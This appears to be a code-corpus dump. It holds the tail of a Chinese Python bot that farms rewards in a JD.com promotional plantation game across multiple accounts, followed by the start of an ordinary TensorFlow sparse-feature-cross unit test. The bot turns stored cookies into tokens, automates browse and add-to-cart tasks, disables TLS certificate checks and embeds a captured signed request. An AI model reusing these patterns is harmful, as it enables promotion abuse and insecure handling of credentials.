k, account) # 浏览 for i, j in zip (taskName_list3, taskId_list3): print (i, j, k) do_fertilizer_task3 (cookie, i, j, k, account) # 加购 if choose_plant_id == 'false': for i in planted_id_list: fertilization (cookie, i, k, account) watering (cookie, i, sid, account) else: print("【账号{}现在开始施肥】".format(account)) fertilization (cookie, planted_id_list[flag], k, account) print ("【账号{}现在开始浇水】".format (account)) watering (cookie, planted_id, sid, account) flag += 1 except Exception as e: pass else: printT ("请检查变量plant_cookie是否已填写") if __name__ == '__main__': printT ("美丽研究院-种植园") start () # if '成熟' in msg_info: # send ("美丽研究院-种植园", msg_info) if '成功' in msg_info: send ("美丽研究院-种植园", msg_info)

48.197802

1,343

0.613046

5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=88&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=01&sign=946db60626658b250cf47aafb6f67691&st=1642002999847&sv=112&uemps=0-0&uts=0f31TVRjBSu3kkqwe7t25AkQCKuzV3pz8JrojVuU0630g%2BkZigs9kTwRghT26sE72/e92RRKan/%2B9SRjIJYCLuhew91djUwnIY47k31Rwne/U1fOHHr9FmR31X03JKJjwao/EC1gy4fj7PV1Co0ZOjiCMTscFo/8id2r8pCHYMZcaeH3yPTLq1MyFF3o3nkStM/993MbC9zim7imw8b1Fg%3D%3D' response = requests.post (url=url, verify=False, headers=headers, data=data) result = response.json () access_token = result['token'] return access_token except Exception as e: msg ("账号【{0}】获取ck失败，cookie过期".format (account)) def get_Authorization(access_token, account): try: url = 'https://xinruimz-isv.isvjcloud.com/papi/auth' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": 'Bearer undefined', 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/logined_jd/', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Origin": "https://xinruimz-isv.isvjcloud.com", "Content-Type": "application/json;charset=utf-8", } data = '{"token":"' + f"{access_token}" + r'","source":"01"}' response = requests.post (url=url, verify=False, headers=headers, data=data) result = response.json () print (result) access_token = result['access_token'] access_token = r"Bearer " + access_token return access_token except Exception as e: msg ("账号【{0}】获取Authorization失败，cookie过期".format (account)) def get_planted_info(cookie, sid, account): name_list = [] planted_id_list = [] position_list = [] shop_id_list = [] url = 'https://xinruimz-isv.isvjcloud.com/papi/get_home_info' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' } response = requests.get (url=url, verify=False, headers=headers) result = response.json () planted_list = result['plant_info'] for i in range (len (planted_list)): try: name = result['plant_info'][f'{i + 1}']['data']['name'] planted_id = result['plant_info'][f'{i + 1}']['data']['id'] position = result['plant_info'][f'{i + 1}']['data']['position'] shop_id = result['plant_info'][f'{i + 1}']['data']['shop_id'] name_list.append (name) planted_id_list.append (planted_id) position_list.append (position) shop_id_list.append (shop_id) print (f"账号{account}种植的种子为", name, "planted_id:", planted_id, ",shop_id:", shop_id) except Exception as e: pass return name_list, position_list, shop_id_list, planted_id_list def get_water(cookie, position, sid, account): try: j = 0 url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_water' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } for i in position: data = r'{"position":' + f"{i}" + r'}' response = requests.post (url=url, verify=False, headers=headers, data=data) if response.status_code == 204: j += 1 total = j * 10 if response.status_code == 204: msg ("账号【{0}】成功领取每日水滴{1}".format (account, total)) except Exception as e: msg ("账号【{0}】领取每日水滴失败，可能是cookie过期".format (account)) def get_fertilizer(cookie, shop_id, account): try: j = 0 url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_fertilizer' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } for i in shop_id: data = r'{"shop_id":' + f"{i}" + r'}' response = requests.post (url=url, verify=False, headers=headers, data=data) if response.status_code == 204: j += 1 total = j * 10 if response.status_code == 204: msg ("账号【{0}】成功领取每日肥料{1}".format (account, total)) except Exception as e: msg ("账号【{0}】领取每日肥料失败，可能是cookie过期".format (account)) def get_task(cookie, account): try: taskName_list = [] taskId_list = [] taskName_list2 = [] taskId_list2 = [] taskName_list3 = [] taskId_list3 = [] url = 'https://xinruimz-isv.isvjcloud.com/papi/water_task_info' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) result = response.json () task_list = result['shops'] task_list2 = result['meetingplaces'] task_list3 = result['prodcuts'] for i in range (len (task_list)): try: taskName = task_list[i]['name'] taskId = task_list[i]['id'] taskId_list.append (taskId) taskName_list.append (taskName) except Exception as e: print (e) for i in range (len (task_list2)): try: taskName2 = task_list2[i]['name'] taskId2 = task_list2[i]['id'] taskId_list2.append (taskId2) taskName_list2.append (taskName2) except Exception as e: print (e) for i in range (len (task_list3)): try: taskName3 = task_list3[i]['name'] taskId3 = task_list3[i]['id'] taskId_list3.append (taskId3) taskName_list3.append (taskName3) except Exception as e: print (e) return taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 except Exception as e: print (e) message = result['message'] if "非法店铺" in message: msg ("【账号{0}】种子过期，请重新种植".format (account)) def get_fertilizer_task(cookie, shop_id, account): try: taskName_list2 = [] taskId_list2 = [] taskName_list3 = [] taskId_list3 = [] taskName_list4 = [] taskId_list4 = [] url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_task_info?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } response = requests.get (url=url, verify=False, headers=headers) result = response.json () task_list2 = result['meetingplaces'] task_list3 = result['prodcuts'] task_list4 = result['live'] for i in range (len (task_list2)): try: taskName2 = task_list2[i]['name'] taskId2 = task_list2[i]['id'] taskId_list2.append (taskId2) taskName_list2.append (taskName2) except Exception as e: print (e) for i in range (len (task_list3)): try: taskName3 = task_list3[i]['name'] taskId3 = task_list3[i]['id'] taskId_list3.append (taskId3) taskName_list3.append (taskName3) except Exception as e: print (e) for i in range (len (task_list4)): try: taskName4 = task_list4[i]['name'] taskId4 = task_list4[i]['id'] taskId_list4.append (taskId4) taskName_list4.append (taskName4) except Exception as e: print (e) return taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 except Exception as e: print (e) message = result['message'] if "非法店铺" in message: msg ("【账号{0}】种子过期，请重新种植".format (account)) def do_task1(cookie, taskName, taskId, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/water_shop_view?shop_id={taskId}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) msg ("账号【{0}】执行浏览任务【{1}】成功，获取【{2}】水滴".format (account, taskName, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_task2(cookie, taskName, taskId, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/water_meetingplace_view?meetingplace_id={taskId}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) msg ("账号【{0}】执行浏览任务【{1}】成功，获取【{2}】水滴".format (account, taskName, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_task3(cookie, taskName, taskId, sid, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/water_product_view?product_id={taskId}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览加购【{1}】等待10秒".format (account, taskName)) msg ("账号【{0}】执行浏览加购【{1}】成功，获取【{2}】水滴".format (account, taskName, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_fertilizer_task(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_shop_view?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } while True: response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行【浏览关注】等待10秒".format (account)) msg ("账号【{0}】执行【浏览关注】任务成功，获取【{1}】肥料".format (account, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_fertilizer_task2(cookie, name, meetingplace_id, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_meetingplace_view?meetingplace_id={meetingplace_id}&shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览关注{1}等待10秒".format (account, name)) msg ("账号【{0}】执行浏览关注{1}任务成功，获取【{2}】肥料".format (account, name, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_fertilizer_task3(cookie, name, product_id, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_product_view?product_id={product_id}&shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } while True: response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行浏览并加购{1}等待10秒".format (account, name)) msg ("账号【{0}】执行浏览并加购{1}任务成功，获取【{2}】肥料".format (account, name, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_fertilizer_task4(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_sample_view?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行【观看其他小样】等待10秒".format (account)) msg ("账号【{0}】执行【观看其他小样】任务成功，获取【{1}】肥料".format (account, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_fertilizer_task5(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_chanel_view?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } response = requests.get (url=url, verify=False, headers=headers) result = response.json () print (result) score = result['inc'] print ("账号【{0}】执行【浏览化妆馆】等待10秒".format (account)) msg ("账号【{0}】执行【浏览化妆馆】任务成功，获取【{1}】肥料".format (account, score)) time.sleep (10) except Exception as e: print (e) time.sleep (1) def do_fertilizer_task6(cookie, shop_id, account): try: url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_exchange?shop_id={shop_id}' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', } for i in range (5): response = requests.get (url=url, verify=False, headers=headers) result = response.json () score = result['inc'] print ("账号【{0}】【shop_id:{1}】正在【兑换肥料】等待10秒".format (account, shop_id)) msg ("账号【{0}】【shop_id:{2}】执行【兑换肥料】任务成功，获取【{1}】肥料".format (account, score, shop_id)) time.sleep (10) except Exception as e: print (e) msg ("账号【{0}】【shop_id:{1}】肥料兑换已达上限".format (account, shop_id)) time.sleep (1) def watering(cookie, plant_id, sid, account): try: url = 'https://xinruimz-isv.isvjcloud.com/papi/watering' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } data = r'{"plant_id":' + f"{plant_id}" + r'}' while True: response = requests.post (url=url, verify=False, headers=headers, data=data.encode ()) result = response.json () level = result['level'] complete_level = result['complete_level'] msg ("【账号{0}】【plant_id:{3}】成功浇水10g，当前等级{1}，种子成熟等级为{2}".format (account, level, complete_level, plant_id)) time.sleep (5) except Exception as e: print(e) def fertilization(cookie, plant_id, shop_id, account): url = 'https://xinruimz-isv.isvjcloud.com/papi/fertilization' headers = { 'Connection': 'keep-alive', 'Accept': 'application/x.jd-school-raffle.v1+json', "Authorization": cookie, 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', 'Host': 'xinruimz-isv.isvjcloud.com', 'User-Agent': userAgent (), 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', "Content-Type": "application/json;charset=utf-8", } data = r'{"plant_id":' + f"{plant_id}" + r'}' i = 1 while True: try: response = requests.post (url=url, verify=False, headers=headers, data=data) result = response.json () level = result['level'] complete_level = result['complete_level'] printT ("【账号{0}】【plant_id:{3}】成功施肥10g，当前等级{1}，种子成熟等级为{2}".format (account, level, complete_level, plant_id)) time.sleep (5) i += 1 except Exception as e: message = result['message'] total = i * 10 if "肥料不足" in message: msg("【账号{0}】【plant_id:{1}】本次一共施肥{2}g".format (account, plant_id,total)) printT ("【账号{0}】【plant_id:{1}】肥料不足10g".format (account, plant_id)) break def start(): global cookie, cookies print (f"\n【准备开始...】\n") nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') if cookie != '': account = setName (cookie) access_token = get_ck (cookie, sid_ck, account) cookie = get_Authorization (access_token, account) name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie,account) get_water (cookie, position_list, sid, account) get_fertilizer (cookie, shop_id_list, account) for i, j in zip (taskName_list, taskId_list): do_task1 (cookie, i, j, account) for i, j in zip (taskName_list2, taskId_list2): do_task2 (cookie, i, j, account) for i, j in zip (taskName_list3, taskId_list3): do_task3 (cookie, i, j, sid, account) flag = 0 for i in shop_id_list: do_fertilizer_task (cookie, i, account) for k in shop_id_list: taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task (cookie, k, account) do_fertilizer_task4 (cookie, k, account) do_fertilizer_task5 (cookie, k, account) if beauty_plant_exchange == 'true': do_fertilizer_task6 (cookie, k, account) for i, j in zip (taskName_list2, taskId_list2): print (i, j, k) do_fertilizer_task2 (cookie, i, j, k, account) for i, j in zip (taskName_list3, taskId_list3): print (i, j, k) do_fertilizer_task3 (cookie, i, j, k, account) if choose_plant_id == 'false': for i in planted_id_list: watering (cookie, i, sid, account) fertilization (cookie, i, k, account) else: fertilization (cookie, planted_id_list[flag], k, account) watering (cookie, planted_id, sid, account) flag += 1 elif cookies != '': for cookie, planted_id in zip (cookies, planted_ids): try: account = setName (cookie) access_token = get_ck (cookie, sid_ck, account) cookie = get_Authorization (access_token, account) name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) except Exception as e: pass for cookie, planted_id in zip (cookies, planted_ids): try: account = setName (cookie) access_token = get_ck (cookie, sid_ck, account) cookie = get_Authorization (access_token, account) name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie, account) get_water (cookie, position_list, sid, account) get_fertilizer (cookie, shop_id_list, account) for i, j in zip (taskName_list, taskId_list): do_task1 (cookie, i, j, account) for i, j in zip (taskName_list2, taskId_list2): do_task2 (cookie, i, j, account) for i, j in zip (taskName_list3, taskId_list3): do_task3 (cookie, i, j, sid, account) flag = 0 for i in shop_id_list: do_fertilizer_task (cookie, i, account) for k in shop_id_list: taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task ( cookie, k, account) do_fertilizer_task4 (cookie, k, account) do_fertilizer_task5 (cookie, k, account) if beauty_plant_exchange == 'true': do_fertilizer_task6 (cookie, k, account) for i, j in zip (taskName_list2, taskId_list2): print (i, j, k) do_fertilizer_task2 (cookie, i, j, k, account) for i, j in zip (taskName_list3, taskId_list3): print (i, j, k) do_fertilizer_task3 (cookie, i, j, k, account) if choose_plant_id == 'false': for i in planted_id_list: fertilization (cookie, i, k, account) watering (cookie, i, sid, account) else: print("【账号{}现在开始施肥】".format(account)) fertilization (cookie, planted_id_list[flag], k, account) print ("【账号{}现在开始浇水】".format (account)) watering (cookie, planted_id, sid, account) flag += 1 except Exception as e: pass else: printT ("请检查变量plant_cookie是否已填写") if __name__ == '__main__': printT ("美丽研究院-种植园") start () if '成功' in msg_info: send ("美丽研究院-种植园", msg_info)

true

f701647c2b297015f025eb53bd191a1a8c54ec62

18,209

py

Python

tensorflow/contrib/layers/python/kernel_tests/sparse_feature_cross_op_test.py

AlexChrisF/udacity

b7f85a74058fc63ccb7601c418450ab934ef5953

[ "Apache-2.0" ]

522

2016-06-08T02:15:50.000Z

2022-03-02T05:30:36.000Z

tensorflow/contrib/layers/python/kernel_tests/sparse_feature_cross_op_test.py

AlexChrisF/udacity

b7f85a74058fc63ccb7601c418450ab934ef5953

[ "Apache-2.0" ]

48

2016-07-26T00:11:55.000Z

2022-02-23T13:36:33.000Z

tensorflow/contrib/layers/python/kernel_tests/sparse_feature_cross_op_test.py

AlexChrisF/udacity

b7f85a74058fc63ccb7601c418450ab934ef5953

[ "Apache-2.0" ]

108

2016-06-16T15:34:05.000Z

2022-03-12T13:23:11.000Z

# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tf.contrib.layers.sparse_feature_cross.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy from tensorflow.contrib import layers from tensorflow.contrib.layers.python.ops import sparse_feature_cross_op from tensorflow.python.client import session from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import sparse_tensor from tensorflow.python.ops import sparse_ops from tensorflow.python.platform import test class SparseCrossOpTest(test.TestCase): def test_simple(self): """Tests a simple scenario. """ op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1'], ['batch2-FC1-F1', 'batch2-FC1-F2']]), self._sparse_tensor([['batch1-FC2-F1'], ['batch2-FC2-F1', 'batch2-FC2-F2']]) ]) expected_out = self._sparse_tensor([['batch1-FC1-F1_X_batch1-FC2-F1'], [ 'batch2-FC1-F1_X_batch2-FC2-F1', 'batch2-FC1-F1_X_batch2-FC2-F2', 'batch2-FC1-F2_X_batch2-FC2-F1', 'batch2-FC1-F2_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_dense(self): """Tests only dense inputs. """ op = sparse_feature_cross_op.sparse_feature_cross([ constant_op.constant([['batch1-FC1-F1', 'batch1-FC1-F2'], ['batch2-FC1-F1', 'batch2-FC1-F2']], dtypes.string), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1', 'batch1-FC1-F1_X_batch1-FC2-F2', 'batch1-FC1-F2_X_batch1-FC2-F1', 'batch1-FC1-F2_X_batch1-FC2-F2' ], [ 'batch2-FC1-F1_X_batch2-FC2-F1', 'batch2-FC1-F1_X_batch2-FC2-F2', 'batch2-FC1-F2_X_batch2-FC2-F1', 'batch2-FC1-F2_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_integer_mixed_string_sparse(self): """Tests mixed type.""" op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([[11], [333, 55555]]), self._sparse_tensor([['batch1-FC2-F1'], ['batch2-FC2-F1', 'batch2-FC2-F2']]) ]) expected_out = self._sparse_tensor([['11_X_batch1-FC2-F1'], [ '333_X_batch2-FC2-F1', '333_X_batch2-FC2-F2', '55555_X_batch2-FC2-F1', '55555_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_integer_mixed_string_dense(self): """Tests mixed dense inputs. """ op = sparse_feature_cross_op.sparse_feature_cross([ constant_op.constant([[11, 333], [55555, 999999]], dtypes.int64), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor([[ '11_X_batch1-FC2-F1', '11_X_batch1-FC2-F2', '333_X_batch1-FC2-F1', '333_X_batch1-FC2-F2' ], [ '55555_X_batch2-FC2-F1', '55555_X_batch2-FC2-F2', '999999_X_batch2-FC2-F1', '999999_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_sparse_cross_dense(self): """Tests sparse and dense inputs. """ op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([['batch1-FC1-F1'], ['batch2-FC1-F1', 'batch2-FC1-F2']]), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor( [['batch1-FC1-F1_X_batch1-FC2-F1', 'batch1-FC1-F1_X_batch1-FC2-F2'], [ 'batch2-FC1-F1_X_batch2-FC2-F1', 'batch2-FC1-F1_X_batch2-FC2-F2', 'batch2-FC1-F2_X_batch2-FC2-F1', 'batch2-FC1-F2_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_integer_sparse_input(self): """Tests mixed type sparse and dense inputs.""" op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor([[11], [333, 5555]]), constant_op.constant([['batch1-FC2-F1', 'batch1-FC2-F2'], ['batch2-FC2-F1', 'batch2-FC2-F2']], dtypes.string), ]) expected_out = self._sparse_tensor( [['11_X_batch1-FC2-F1', '11_X_batch1-FC2-F2'], [ '333_X_batch2-FC2-F1', '333_X_batch2-FC2-F2', '5555_X_batch2-FC2-F1', '5555_X_batch2-FC2-F2' ]]) with self.test_session() as sess: self._assert_sparse_tensor_equals(expected_out, sess.run(op)) def test_permutation_3x3x3(self): """Tests 3x3x3 permutation. """ op = sparse_feature_cross_op.sparse_feature_cross([ self._sparse_tensor( [['batch1-FC1-F1', 'batch1-FC1-F2', 'batch1-FC1-F3']]), self._sparse_tensor( [['batch1-FC2-F1', 'batch1-FC2-F2', 'batch1-FC2-F3']]), self._sparse_tensor( [['batch1-FC3-F1', 'batch1-FC3-F2', 'batch1-FC3-F3']]) ]) expected_out = self._sparse_tensor([[ 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F1_X_batch1-FC2-F1_X_batch1-FC3-F3', 'batch1-FC1-F1_X_batch1-FC2-F2_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F2_X_batch1-FC3-F2', 'batch1-FC1-F1_X_batch1-FC2-F2_X_batch1-FC3-F3', 'batch1-FC1-F1_X_batch1-FC2-F3_X_batch1-FC3-F1', 'batch1-FC1-F1_X_batch1-FC2-F3_X_batch1-FC3-F2', 'batch1-FC1-F1_X_batch1-FC2-F3_X_batch1-FC3-F3', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F1_X_batch1-FC3-F3', 'batch1-FC1-F2_X_batch1-FC2-F2_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F2_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F2_X_batch1-FC3-F3', 'batch1-FC1-F2_X_batch1-FC2-F3_X_batch1-FC3-F1', 'batch1-FC1-F2_X_batch1-FC2-F3_X_batch1-FC3-F2', 'batch1-FC1-F2_X_batch1-FC2-F3_X_batch1-FC3-F3', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F1_X_batch1-FC3-F3', 'batch1-FC1-F3_X_batch1-FC2-F2_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F2_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F2_X_batch1-FC3-F3', 'batch1-FC1-F3_X_batch1-FC2-F3_X_batch1-FC3-F1', 'batch1-FC1-F3_X_batch1-FC2-F3_X_batch1-FC3-F2', 'batch1-FC1-F3_X_batch1-FC2-F3_X_batch1-FC3-F3' ]]) with self.test_session() 